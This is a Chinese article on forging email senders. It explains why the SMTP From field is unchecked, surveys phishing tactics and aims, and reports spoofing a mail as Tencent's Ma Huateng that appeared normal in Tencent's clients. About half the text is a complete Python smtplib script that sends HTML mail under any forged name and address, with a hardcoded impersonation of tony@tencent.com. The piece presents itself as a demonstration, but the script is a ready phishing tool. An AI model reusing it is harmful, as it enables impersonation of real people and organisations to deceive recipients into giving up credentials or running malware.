邮件伪造原理
SMTP协议本身的From
是可以随便填写的,多见于各种邮件钓鱼。
常见钓鱼邮件
钓鱼邮件手法多种多样,但万变不离其宗,本质上是希望你能:
- 打开邮件:不要以为就打开邮件不做其它操作就没风险,打开的这一步可能就触发邮件内的图片等资源加载,对方就能知道你打开的时间和IP等信息,另外也有一些针对邮件服务商的漏洞,打开后也会触发。
- 回复邮件:往往冒充各种人,比如你的老板、同事甚至政府机关等以各种名义让你提供账号密码或个人信息等。
- 点击连接:会跳到恶意网站,通过一些漏洞使你电脑执行特定程序。
- 下载附件:附件可能是个文档或者图标,点击后就会触发可执行程序。
目的也各不相同:
- 加密电脑所有有用文件并勒索;
- 控制电脑作为肉鸡用来攻击或浏览广告;
- 恶作剧,删除所有文件,强制死机等;
邮件伪造实践
我们以马化腾邮箱的名义给自己发一封邮件,只需改动SMTP里的From即可。
在腾讯企业邮箱邮件列表页中没有任何异常。
在微信小程序的腾讯企业邮箱中无任何异常。
邮件伪造代码
# -*- coding: utf-8 -*-
"""
fake-mail
~~~~~~~~~
伪造发件人发送邮件
:author: Feei <feei@feei.cn>
:homepage: https://github.com/FeeiCN/Mail-Checker
:license: GPL, see LICENSE for more details.
:copyright: Copyright (c) 2015 Feei. All rights reserved
"""
import smtplib
import traceback
from smtplib import SMTPException
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
host = 'smtp.exmail.qq.com'
port = '25'
username = 'feei@feei.cn'
password = '配置好腾讯邮箱密码'
def mail(subject, to, html, fake_name, fake_mail):
"""
Send mail
:param subject: 主题
:param to: 发给谁
:param html: 内容
:param fake_name: 以谁的名义
:param fake_mail: 以谁的邮箱
:return:
"""
msg = MIMEMultipart()
msg['Subject'] = subject
msg['From'] = '{0} <{1}>'.format(fake_name, fake_mail)
# 支持多用户接收邮件
msg['To'] = to
text = MIMEText(html, 'html', 'utf-8')
msg.attach(text)
try:
s = smtplib.SMTP(host, port)
s.ehlo()
s.starttls()
s.ehlo()
s.login(username, password)
s.sendmail(username, to.split(','), msg.as_string())
s.quit()
return True
except SMTPException:
print('Send mail failed')
traceback.print_exc()
return False
assert mail('Test by @Feei', 'zhijie@meili-inc.com', 'Fake Mail Content', '马化腾', 'tony@tencent.com')